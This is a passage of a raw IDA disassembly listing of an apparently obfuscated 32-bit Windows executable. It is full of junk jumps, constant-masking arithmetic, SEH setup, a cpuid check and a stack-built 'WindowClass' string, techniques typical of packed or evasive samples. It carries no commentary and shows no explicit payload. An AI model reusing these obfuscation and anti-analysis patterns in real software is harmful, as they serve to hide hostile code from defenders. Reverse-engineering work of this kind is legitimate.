		xchg	esi, [esp-0Ch+arg_8]
		jmp	loc_408C2B
; END OF FUNCTION CHUNK	FOR sub_40D169
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_40C3AF


loc_406278:				; CODE XREF: sub_40C3AF:loc_4057D6j
		push	edi
		push	73E87AB9h
		pop	edi
		xor	edi, 4A7DF77Fh
		jmp	loc_410F01
; END OF FUNCTION CHUNK	FOR sub_40C3AF
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_40926F


loc_40628A:				; CODE XREF: sub_40926F:loc_405525j
		push	offset word_4109C6
		jmp	loc_40659B
; END OF FUNCTION CHUNK	FOR sub_40926F
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_405AFA


loc_406294:				; CODE XREF: sub_405AFA:loc_4064AAj
		sbb	edi, 0D12A0CAh
		jmp	loc_40A740
; END OF FUNCTION CHUNK	FOR sub_405AFA
; ---------------------------------------------------------------------------
		db 0Fh
		dd 9EDA8Ah, 7FE7E900h
		db 2 dup(0)
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_405CBC


loc_4062AA:				; CODE XREF: sub_405CBC:loc_40F1D1j
		add	eax, [ebp-4]
		call	sub_40D84E
		cmp	eax, [ebp-8]
		jnz	loc_410D70
		jmp	loc_40CB2A
; END OF FUNCTION CHUNK	FOR sub_405CBC
; ---------------------------------------------------------------------------


loc_4062C0:				; CODE XREF: _837l4vi2:loc_40E767j
		pop	eax
		add	eax, 0C60F029Eh
		and	eax, 12D501B8h
		call	sub_40D31D


loc_4062D2:				; CODE XREF: _837l4vi2:0040A93Aj
		jmp	locret_40C594
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_40939B


loc_4062D7:				; CODE XREF: sub_40939B+Aj
		jmp	loc_40DD3B
; END OF FUNCTION CHUNK	FOR sub_40939B

; =============== S U B	R O U T	I N E =======================================



sub_4062DC	proc near		; DATA XREF: sub_40EB97:loc_40D5B3o
		push	eax
		rol	eax, 0Bh
		mov	ds:dword_40ABA0, eax
		retn
sub_4062DC	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_410828


loc_4062E7:				; CODE XREF: sub_410828+Fj
		jmp	loc_4058C9
; END OF FUNCTION CHUNK	FOR sub_410828
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_405201


loc_4062EC:				; CODE XREF: sub_405201+57Ej
		jmp	loc_40D3A3
; END OF FUNCTION CHUNK	FOR sub_405201

; =============== S U B	R O U T	I N E =======================================



sub_4062F1	proc near		; CODE XREF: sub_406477j

var_8		= dword	ptr -8

; FUNCTION CHUNK AT 00408F65 SIZE 00000010 BYTES

		push	ebp
		jmp	loc_408F65
sub_4062F1	endp

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_40AA44


loc_4062F7:				; CODE XREF: sub_40AA44:loc_410423j
		add	eax, 0AAC0A915h
		xchg	eax, [esp+0]
		jmp	loc_40AC74
; END OF FUNCTION CHUNK	FOR sub_40AA44
; ---------------------------------------------------------------------------
		add	edi, ebp
		jmp	loc_40B204
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_40CEC1


loc_40630C:				; CODE XREF: sub_40CEC1-35D5j
		jnz	loc_405B0F
		jmp	loc_405F2E
; END OF FUNCTION CHUNK	FOR sub_40CEC1
; [00000001 BYTES: COLLAPSED FUNCTION nullsub_107. PRESS KEYPAD	"+" TO EXPAND]
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_4097D5


loc_406318:				; CODE XREF: sub_4097D5:loc_4108EFj
		jge	loc_40F43A
		xchg	esi, edi
		sbb	edi, edx
		jmp	loc_40F439
; END OF FUNCTION CHUNK	FOR sub_4097D5

; =============== S U B	R O U T	I N E =======================================



sub_406327	proc near		; CODE XREF: sub_40B67D-594Cp
					; _837l4vi2:0040E6C2j

; FUNCTION CHUNK AT 0040CB7D SIZE 00000014 BYTES
; FUNCTION CHUNK AT 0040DAFC SIZE 00000011 BYTES
; FUNCTION CHUNK AT 0040F9FC SIZE 00000005 BYTES
; FUNCTION CHUNK AT 004102EA SIZE 00000005 BYTES

		xchg	ebx, [esp+0]
		pop	ebx
		pop	edx
		cmp	dword ptr [ebp-10h], 0


loc_406330:				; CODE XREF: _837l4vi2:00408E60j
		jz	loc_405746
		jmp	loc_40F9FC
sub_406327	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_409D6B


loc_40633B:				; CODE XREF: sub_409D6B-495Aj
		popf
		jmp	loc_409F1E
; END OF FUNCTION CHUNK	FOR sub_409D6B
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_40D735


loc_406341:				; CODE XREF: sub_40D735:loc_40838Bj
		cmp	dword ptr [ebp-4], 7
		jnz	loc_409545
		lea	eax, [ebp-25Ch]
		jmp	loc_409F12
; END OF FUNCTION CHUNK	FOR sub_40D735
; [00000001 BYTES: COLLAPSED FUNCTION nullsub_81. PRESS	KEYPAD "+" TO EXPAND]
; ---------------------------------------------------------------------------
		cmp	esi, 8D5687E9h
		jmp	loc_410D8D
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_40DFF5


loc_406362:				; CODE XREF: sub_40DFF5:loc_406519j
		xor	edi, 26348C6Eh
		add	edi, 40D383C3h
		xchg	edi, [esp+0]
		jmp	sub_407AA4
; END OF FUNCTION CHUNK	FOR sub_40DFF5
; ---------------------------------------------------------------------------
		push	offset loc_40C764
		jmp	locret_40F3E8
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_406C7D


loc_406380:				; CODE XREF: sub_406C7D:loc_408AD5j
		jle	loc_40B00E
		jg	loc_40E22B
		jmp	loc_405C1F
; END OF FUNCTION CHUNK	FOR sub_406C7D
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_40E1CD


loc_406391:				; CODE XREF: sub_40E1CD+1Bj
		add	eax, 876C1113h
		add	eax, ebp
		add	eax, 7811C469h
		push	ecx
		mov	ecx, eax
		jmp	loc_40A1E1
; END OF FUNCTION CHUNK	FOR sub_40E1CD
; ---------------------------------------------------------------------------

locret_4063A7:				; CODE XREF: _837l4vi2:0040A3D7j
		retn
; ---------------------------------------------------------------------------
		retn
; ---------------------------------------------------------------------------


loc_4063A9:				; CODE XREF: _837l4vi2:0040D3CAj
		jmp	loc_40B466

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4063AE	proc near		; CODE XREF: sub_40DF72-64AFp
		push	ebp
		mov	ebp, esp
		call	sub_40D74E


loc_4063B6:				; CODE XREF: sub_40CE96-209Aj
		jmp	sub_40E739
sub_4063AE	endp

; ---------------------------------------------------------------------------
		cmp	ecx, ebx
		jmp	loc_408771
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_40DF72


loc_4063C2:				; CODE XREF: sub_40DF72-64AAj
		test	eax, eax
		jnz	loc_40F188
		jmp	loc_4077D0
; END OF FUNCTION CHUNK	FOR sub_40DF72
; ---------------------------------------------------------------------------


loc_4063CF:				; CODE XREF: _837l4vi2:0040A4F9j
		push	7BEB7325h
		pop	eax
		add	eax, 0E9A651DDh
		xor	ecx, eax
		pop	eax
		pop	ebx
		xchg	ebx, [esp]
		mov	edx, ebx
		jmp	loc_4051F7
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_40E3C8


loc_4063E9:				; CODE XREF: sub_40E3C8-1F66j
		call	sub_40984E
		test	eax, eax
		jz	loc_40D729
		jmp	loc_40AF5B
; END OF FUNCTION CHUNK	FOR sub_40E3C8
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_40D735


loc_4063FB:				; CODE XREF: sub_40D735-798Ej
					; sub_40D735:loc_408219j ...
		jb	loc_408D1A
		cmp	dword ptr [ebp-4], 6
		jnz	loc_40838B
		jmp	loc_4097BE
; END OF FUNCTION CHUNK	FOR sub_40D735
; ---------------------------------------------------------------------------
		mov	edi, [edx]
; START	OF FUNCTION CHUNK FOR sub_40E236


loc_406412:				; CODE XREF: sub_40E236:loc_410E91j
		jno	loc_405C64
		jmp	sub_40882B
; END OF FUNCTION CHUNK	FOR sub_40E236
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_40ACF2


loc_40641D:				; CODE XREF: sub_40ACF2:loc_40662Dj
		push	offset loc_4096DF
		jmp	nullsub_33
; END OF FUNCTION CHUNK	FOR sub_40ACF2
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_40989E


loc_406427:				; CODE XREF: sub_40989E-45A1j
		lea	eax, [ebp-1Ch]
		mov	dword ptr [eax], 646E6957h
		lea	eax, [ebp-18h]
		mov	dword ptr [eax], 6C43776Fh
		lea	eax, [ebp-14h]
		mov	dword ptr [eax], 737361h
		jmp	loc_40F55D
; END OF FUNCTION CHUNK	FOR sub_40989E
; [00000001 BYTES: COLLAPSED FUNCTION nullsub_47. PRESS	KEYPAD "+" TO EXPAND]
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_4055D2


loc_406448:				; CODE XREF: sub_4055D2+1D5Cj
		jmp	nullsub_123
; END OF FUNCTION CHUNK	FOR sub_4055D2
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_410C99


loc_40644D:				; CODE XREF: sub_410C99:loc_410CA7j
		pop	ecx
		or	ecx, 32C445E5h
		rol	ecx, 11h
		add	ecx, 60762102h
		xchg	ecx, [esp+30h+var_30]
		jmp	sub_40B088
; END OF FUNCTION CHUNK	FOR sub_410C99
; [00000001 BYTES: COLLAPSED FUNCTION nullsub_129. PRESS KEYPAD	"+" TO EXPAND]
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_409D32


loc_406466:				; CODE XREF: sub_409D32+7031j
		jmp	loc_40FC3E
; END OF FUNCTION CHUNK	FOR sub_409D32
; ---------------------------------------------------------------------------


loc_40646B:				; CODE XREF: _837l4vi2:0040DA20j
		mov	ebp, offset loc_406474
		xchg	ebp, [esp]
		retn
; ---------------------------------------------------------------------------


loc_406474:				; DATA XREF: _837l4vi2:loc_40646Bo
		xor	eax, eax
		retn

; =============== S U B	R O U T	I N E =======================================



sub_406477	proc near		; CODE XREF: sub_41018A-AA49j
					; sub_407DC0+Bp ...
		jz	sub_4062F1
		jmp	sub_407F6B
sub_406477	endp

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_40A050


loc_406482:				; CODE XREF: sub_40A050+Cj
		jz	loc_410E01
		jmp	loc_40CB50
; END OF FUNCTION CHUNK	FOR sub_40A050
; ---------------------------------------------------------------------------


loc_40648D:				; CODE XREF: _837l4vi2:004095BAj
		xchg	eax, [edx]
		sub	esi, ecx
		ror	esi, 0Ah
; START	OF FUNCTION CHUNK FOR sub_4087FF


loc_406494:				; CODE XREF: sub_4087FF:loc_4095A8j
		sub	eax, 0A6748E55h
		xor	eax, 8101C1CBh
		jmp	loc_40878C
; END OF FUNCTION CHUNK	FOR sub_4087FF
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_405AFA


loc_4064A5:				; CODE XREF: sub_405AFA:loc_40F63Dj
		call	sub_405F9E


loc_4064AA:				; CODE XREF: sub_408D96+1E7Aj
		jmp	loc_406294
; END OF FUNCTION CHUNK	FOR sub_405AFA
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_407392


loc_4064AF:				; CODE XREF: sub_407392+7j
		jmp	sub_405250
; END OF FUNCTION CHUNK	FOR sub_407392

; =============== S U B	R O U T	I N E =======================================



sub_4064B4	proc near		; CODE XREF: sub_405265+6p
					; _837l4vi2:00405769j

arg_0		= dword	ptr  4

; FUNCTION CHUNK AT 00407318 SIZE 00000005 BYTES

		xchg	edi, [esp+0]
		pop	edi
		xchg	eax, [esp-4+arg_0]
		jmp	loc_407318
sub_4064B4	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_40D735


loc_4064C0:				; CODE XREF: sub_40D735+2DA3j
		ja	loc_4051DD
		popf
		jmp	loc_409DE6
; END OF FUNCTION CHUNK	FOR sub_40D735

; =============== S U B	R O U T	I N E =======================================



sub_4064CC	proc near		; DATA XREF: sub_407DC0+50AAo
		pop	ebp
		retn
sub_4064CC	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================



sub_4064CE	proc near		; CODE XREF: sub_408885-2F5Dj
					; _837l4vi2:loc_4107B7p
		push	large dword ptr	fs:0
		mov	large fs:0, esp
		push	offset sub_407DC0
		jmp	nullsub_18
sub_4064CE	endp


; =============== S U B	R O U T	I N E =======================================



sub_4064E6	proc near		; CODE XREF: _837l4vi2:0040A480j
					; sub_40CF3C+B5Ap

; FUNCTION CHUNK AT 00407B95 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 00408A0C SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0040AE74 SIZE 0000000F BYTES
; FUNCTION CHUNK AT 0040B37F SIZE 0000000A BYTES
; FUNCTION CHUNK AT 0040D60C SIZE 0000000B BYTES
; FUNCTION CHUNK AT 0040F774 SIZE 0000000B BYTES

		xchg	ecx, [esp+0]
		pop	ecx
		add	eax, ebp
		add	eax, 7E0E3C6Fh
		jmp	loc_40AE74
sub_4064E6	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_40611B


loc_4064F7:				; CODE XREF: sub_40611B+Fj
		mov	eax, [ebp+arg_0]
		push	eax
		mov	eax, [ebp+arg_0]
		test	byte ptr [eax-8], 8
		setnz	al
		call	sub_40E7E1
		jmp	loc_407D8D
; END OF FUNCTION CHUNK	FOR sub_40611B
; ---------------------------------------------------------------------------
		db 0E5h
dword_406510	dd 62A01F9h						; _837l4vi2:00408CE4r
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_40C162


loc_406514:				; CODE XREF: sub_40C162+32BAj
		jmp	nullsub_118
; END OF FUNCTION CHUNK	FOR sub_40C162
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_40DFF5


loc_406519:				; CODE XREF: sub_40DFF5-1620j
		jmp	loc_406362
; END OF FUNCTION CHUNK	FOR sub_40DFF5
; ---------------------------------------------------------------------------
		dw 4744h
dword_406520	dd 129A6E9h						; sub_408736+4AD1r
dword_406524	dd 12538F90h						; sub_40BEFD:loc_40D89Fw
; ---------------------------------------------------------------------------


loc_406528:				; CODE XREF: _837l4vi2:0040ADE5j
		jmp	loc_4083DB
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_405D8B


loc_40652D:				; CODE XREF: sub_405D8B+4728j
		jmp	nullsub_186
; END OF FUNCTION CHUNK	FOR sub_405D8B
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_40DFF5


loc_406532:				; CODE XREF: sub_40DFF5-7802j
		jmp	nullsub_73
; END OF FUNCTION CHUNK	FOR sub_40DFF5
; ---------------------------------------------------------------------------
		db 0A6h
dword_406538	dd 0B88B71E2h, 0CA89C4E9h, 0A84E7A24h		db 0
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_40DC3E


loc_406545:				; CODE XREF: sub_40DC3E+12BFj
		jmp	loc_4075A3
; END OF FUNCTION CHUNK	FOR sub_40DC3E
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_40DF72


loc_40654A:				; CODE XREF: sub_40DF72-6290j
		jmp	nullsub_180
; END OF FUNCTION CHUNK	FOR sub_40DF72
; ---------------------------------------------------------------------------
		retf	71E2h		; DATA XREF: _837l4vi2:00408470o
; ---------------------------------------------------------------------------
		dw 0B88Bh
		dd 541152C8h
		db 35h,	86h, 0
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_406C3E


loc_40655B:				; CODE XREF: sub_406C3E+A265j
		jmp	loc_41015B
; END OF FUNCTION CHUNK	FOR sub_406C3E
; ---------------------------------------------------------------------------


loc_406560:				; CODE XREF: _837l4vi2:0040DB3Cj
		jmp	loc_409550
; ---------------------------------------------------------------------------
		db 29h,	0ABh, 9Eh
		dd 0B88B71E2h, 541152C8h, 0C8635h, 8B27E9h, 377F6A00h
					; CODE XREF: _837l4vi2:0040A838j
		dd 0B88B71E2h, 2951C2A8h, 8415D4A2h, 2A884Ah
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_40E6CD


loc_40658C:				; CODE XREF: sub_40E6CD+7j
		jmp	loc_40F511
; END OF FUNCTION CHUNK	FOR sub_40E6CD
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_40A799


loc_406591:				; CODE XREF: sub_40A799-33CCj
		jmp	loc_408C25
; END OF FUNCTION CHUNK	FOR sub_40A799
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_409127


loc_406596:				; CODE XREF: sub_409127-28D6j
		jmp	loc_4099E0
; END OF FUNCTION CHUNK	FOR sub_409127
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_40926F


loc_40659B:				; CODE XREF: sub_40926F-2FE0j
		jmp	nullsub_176
; END OF FUNCTION CHUNK	FOR sub_40926F
; ---------------------------------------------------------------------------
dword_4065A0	dd 0DE5E4D77h						; sub_410C38+13w
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_4078C8


loc_4065A4:				; CODE XREF: sub_4078C8-1768j
		jmp	loc_408E52
; END OF FUNCTION CHUNK	FOR sub_4078C8
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_408527


loc_4065A9:				; CODE XREF: sub_408527:loc_405ACFj
		and	ecx, 7
		mov	al, 1
		shl	al, cl
		mov	edx, [ebp-18h]
		call	sub_40ABD5
; END OF FUNCTION CHUNK	FOR sub_408527

; =============== S U B	R O U T	I N E =======================================



sub_4065B8	proc near		; CODE XREF: sub_405D62-93p
					; _837l4vi2:0040C534j

arg_0		= dword	ptr  4

; FUNCTION CHUNK AT 0040527B SIZE 00000015 BYTES
; FUNCTION CHUNK AT 00405713 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 00405999 SIZE 0000000F BYTES
; FUNCTION CHUNK AT 00405CDF SIZE 00000011 BYTES
; FUNCTION CHUNK AT 00407191 SIZE 0000001A BYTES
; FUNCTION CHUNK AT 004071B6 SIZE 00000006 BYTES
; FUNCTION CHUNK AT 004076BF SIZE 00000005 BYTES
; FUNCTION CHUNK AT 00408150 SIZE 00000016 BYTES
; FUNCTION CHUNK AT 0040885F SIZE 00000005 BYTES
; FUNCTION CHUNK AT 00408E4C SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0040A8BA SIZE 00000008 BYTES
; FUNCTION CHUNK AT 0040AF39 SIZE 0000000F BYTES
; FUNCTION CHUNK AT 0040B13A SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0040B7F6 SIZE 00000008 BYTES
; FUNCTION CHUNK AT 0040C79E SIZE 0000000D BYTES
; FUNCTION CHUNK AT 0040D410 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0040D51F SIZE 0000000A BYTES
; FUNCTION CHUNK AT 0040D8B5 SIZE 0000000D BYTES
; FUNCTION CHUNK AT 0040DA5D SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0040E5D6 SIZE 0000000B BYTES
; FUNCTION CHUNK AT 0040EDD9 SIZE 00000007 BYTES
; FUNCTION CHUNK AT 0040FB4E SIZE 00000014 BYTES
; FUNCTION CHUNK AT 00410589 SIZE 0000000B BYTES
; FUNCTION CHUNK AT 00410A34 SIZE 00000010 BYTES

		xchg	ebx, [esp+0]
		pop	ebx
		push	35D5AAA8h
		pop	eax
		or	eax, 250E0D50h
		jmp	loc_408150
sub_4065B8	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_4108AF


loc_4065CD:				; CODE XREF: sub_4108AF-5848j
		jnz	loc_40A370
		jmp	loc_405C55
; END OF FUNCTION CHUNK	FOR sub_4108AF
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_40C3AF


loc_4065D8:				; CODE XREF: sub_40C3AF:loc_40CF96j
		jnz	loc_40FAF2
		jmp	loc_40C467
; END OF FUNCTION CHUNK	FOR sub_40C3AF
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_406ADC


loc_4065E3:				; CODE XREF: sub_406ADC:loc_4099D0j
		push	54926C59h
		pop	ecx
		add	ecx, 0ABAE5D46h
		xchg	ecx, [esp+0]
		jmp	sub_40C9A5
; END OF FUNCTION CHUNK	FOR sub_406ADC
; ---------------------------------------------------------------------------


loc_4065F7:				; CODE XREF: _837l4vi2:00408370j
		jnb	loc_40D2F8
		add	esi, edx


loc_4065FF:				; CODE XREF: _837l4vi2:loc_4081C5j
		call	sub_40F812
		retn
; ---------------------------------------------------------------------------


loc_406605:				; CODE XREF: _837l4vi2:0040BE47j
		call	sub_40BF48
		push	offset loc_40E43A
		jmp	loc_40E5C3

; =============== S U B	R O U T	I N E =======================================



sub_406614	proc near		; CODE XREF: sub_4090A6j
					; DATA XREF: sub_40C0FD-3061o
		add	eax, 864A647Dh
		mov	eax, [eax]
		mov	esp, ebp
		mov	ebp, offset nullsub_164
		xchg	ebp, [esp+0]
		retn
sub_406614	endp

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_40C3AF


loc_406627:				; CODE XREF: sub_40C3AF+323Aj
		jmp	loc_406170
; END OF FUNCTION CHUNK	FOR sub_40C3AF
; [00000001 BYTES: COLLAPSED FUNCTION nullsub_164. PRESS KEYPAD	"+" TO EXPAND]
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_40ACF2


loc_40662D:				; CODE XREF: sub_40ACF2+17j
		jmp	loc_40641D
; END OF FUNCTION CHUNK	FOR sub_40ACF2
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_4067F8


loc_406632:				; CODE XREF: sub_4067F8+17j
		jmp	loc_40E4D4
; END OF FUNCTION CHUNK	FOR sub_4067F8

; =============== S U B	R O U T	I N E =======================================



sub_406637	proc near		; CODE XREF: _837l4vi2:00405CC7p
					; sub_4078C8+87C8j

; FUNCTION CHUNK AT 0040F3E9 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0040F950 SIZE 0000001B BYTES

		xchg	edi, [esp+0]
		pop	edi
		push	edi
		push	192A4674h
		jmp	loc_40F3E9
sub_406637	endp

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_408769


loc_406646:				; CODE XREF: sub_408769:loc_40F362j
		add	eax, 0B4F592C1h
		push	offset loc_407E3E
		jmp	nullsub_168
; END OF FUNCTION CHUNK	FOR sub_408769
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_4078C8


loc_406656:				; CODE XREF: sub_4078C8:loc_40CCFDj
		xor	esi, 88BDD75Ch
		add	esi, ebp
		jmp	loc_410D2B
; END OF FUNCTION CHUNK	FOR sub_4078C8

; =============== S U B	R O U T	I N E =======================================



sub_406663	proc near		; CODE XREF: sub_40E236-356Bp
		mov	[esp+0], eax
		call	sub_405250
sub_406663	endp ; sp-analysis failed

; START	OF FUNCTION CHUNK FOR sub_40D735


loc_40666B:				; CODE XREF: sub_40D735:loc_40CD6Dj
		jmp	loc_4090CA
; END OF FUNCTION CHUNK	FOR sub_40D735
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_40833D


loc_406670:				; CODE XREF: sub_40833D:loc_409F1Ej
		push	0
		push	0
		push	ebx
		push	15B4670Bh
		pop	ebx
		or	ebx, 0CF22285Dh
		jmp	loc_405363
; END OF FUNCTION CHUNK	FOR sub_40833D
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_405201


loc_406686:				; CODE XREF: sub_405201:loc_4104A7j
		mov	esp, ebp
		pop	ebp
		mov	eax, ds:dword_40DEFC
		or	eax, eax
		jnz	loc_40D2B3
		jmp	loc_405634
; END OF FUNCTION CHUNK	FOR sub_405201
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_40C4A5


loc_40669C:				; CODE XREF: sub_40C4A5:loc_405C26j
		xor	eax, 0FE85D3C9h
		or	eax, 61F4E32Eh
		add	eax, 82487454h
		xchg	eax, [esp+0Ch+var_C]
		jmp	sub_40CBE4
; END OF FUNCTION CHUNK	FOR sub_40C4A5
; ---------------------------------------------------------------------------
		pop	ebp
		jmp	sub_40AF8A
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_40CBB2


loc_4066BC:				; CODE XREF: sub_40CBB2+2373j
		ror	eax, 9
		push	eax
		retn
; END OF FUNCTION CHUNK	FOR sub_40CBB2
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_40F68F


loc_4066C1:				; CODE XREF: sub_40F68F+14j
		jmp	loc_40C715
; END OF FUNCTION CHUNK	FOR sub_40F68F
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_40717E


loc_4066C6:				; CODE XREF: sub_40717E+4j
		jmp	loc_40DC33
; END OF FUNCTION CHUNK	FOR sub_40717E

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4066CB	proc near		; CODE XREF: _837l4vi2:004105B3p

; FUNCTION CHUNK AT 0040AC15 SIZE 00000017 BYTES
; FUNCTION CHUNK AT 0040D7F0 SIZE 00000004 BYTES

		push	ebx
		mov	[esp+0], ebp
		mov	ebp, esp
		jmp	loc_40AC15
sub_4066CB	endp ; sp-analysis failed

; [00000001 BYTES: COLLAPSED FUNCTION nullsub_88. PRESS	KEYPAD "+" TO EXPAND]
; ---------------------------------------------------------------------------


loc_4066D7:				; CODE XREF: _837l4vi2:0040EDEAj
		jmp	loc_40B446
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_40AE2D


loc_4066DC:				; CODE XREF: sub_40AE2D+8j
		jmp	loc_40C4C5
; END OF FUNCTION CHUNK	FOR sub_40AE2D
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_40D0D2


loc_4066E1:				; CODE XREF: sub_40D0D2-5208j
		jmp	loc_405290
; END OF FUNCTION CHUNK	FOR sub_40D0D2
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_40AE2D


loc_4066E6:				; CODE XREF: sub_40AE2D+169Ej
		xchg	edx, ebp
		jmp	loc_40603A
; END OF FUNCTION CHUNK	FOR sub_40AE2D
; ---------------------------------------------------------------------------
byte_4066ED	db 0Fh,	8Ah, 6Bh	; CODE XREF: sub_40BE1F+E09j
; ---------------------------------------------------------------------------
		cmp	al, [eax]
		add	[edi], cl
		or	dword ptr [eax], 56000032h
; START	OF FUNCTION CHUNK FOR sub_40BE1F


loc_4066FA:				; CODE XREF: sub_40BE1F:loc_40F75Ej
		call	sub_40D1EC
		jmp	loc_40DC24
; END OF FUNCTION CHUNK	FOR sub_40BE1F
; [00000001 BYTES: COLLAPSED FUNCTION nullsub_187. PRESS KEYPAD	"+" TO EXPAND]
; ---------------------------------------------------------------------------
		cmp	ebx, 207DC1EAh
		jmp	loc_4071C7
; [00000001 BYTES: COLLAPSED FUNCTION nullsub_150. PRESS KEYPAD	"+" TO EXPAND]
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_405F85


loc_406711:				; CODE XREF: sub_405F85+8953j
		add	eax, 0FEFDC001h
		xor	edx, edx
		cpuid
		and	eax, 0FFFh
		add	[esi], eax
		jmp	loc_40C397
; END OF FUNCTION CHUNK	FOR sub_405F85
; ---------------------------------------------------------------------------


loc_406727:				; CODE XREF: _837l4vi2:loc_407D9Fj
		jnz	loc_40A610
		jmp	loc_407547

; =============== S U B	R O U T	I N E =======================================



sub_406732	proc near		; CODE XREF: sub_410B5Dp

; FUNCTION CHUNK AT 0040AC63 SIZE 0000000C BYTES
; FUNCTION CHUNK AT 0040B511 SIZE 0000000D BYTES

		xchg	ebp, [esp+0]
		mov	ebp, [esp+0]
		call	sub_408736


loc_40673D:				; CODE XREF: sub_406ADC:loc_411044j
		test	edi, 17681565h
		jmp	loc_40B511
sub_406732	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_405723


loc_406748:				; CODE XREF: sub_405723:loc_406B99j
		mov	eax, [ebp-14h]
		call	sub_40F471


loc_406750:				; CODE XREF: sub_407287+8448j
		jmp	loc_40E5C8
; END OF FUNCTION CHUNK	FOR sub_405723
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_40E6CD


loc_406755:				; CODE XREF: sub_40E6CD-5D25j
		jmp	loc_40CDBF
; END OF FUNCTION CHUNK	FOR sub_40E6CD
; ---------------------------------------------------------------------------


loc_40675A:				; CODE XREF: _837l4vi2:loc_40B738j
		mov	ebp, edx
		push	offset sub_405201
		jmp	locret_40FCE8
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_4104E3


loc_406766:				; CODE XREF: sub_4104E3:loc_40A2D0j
		push	edx
		push	eax
		mov	eax, [ebp-18h]
		shl	eax, 2
		push	offset sub_405474
		jmp	locret_40C57A
; END OF FUNCTION CHUNK	FOR sub_4104E3
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_409E44


loc_406778:				; CODE XREF: sub_409E44+70E3j
		xchg	ebp, ecx
		jmp	loc_410BC2
; END OF FUNCTION CHUNK	FOR sub_409E44
; ---------------------------------------------------------------------------


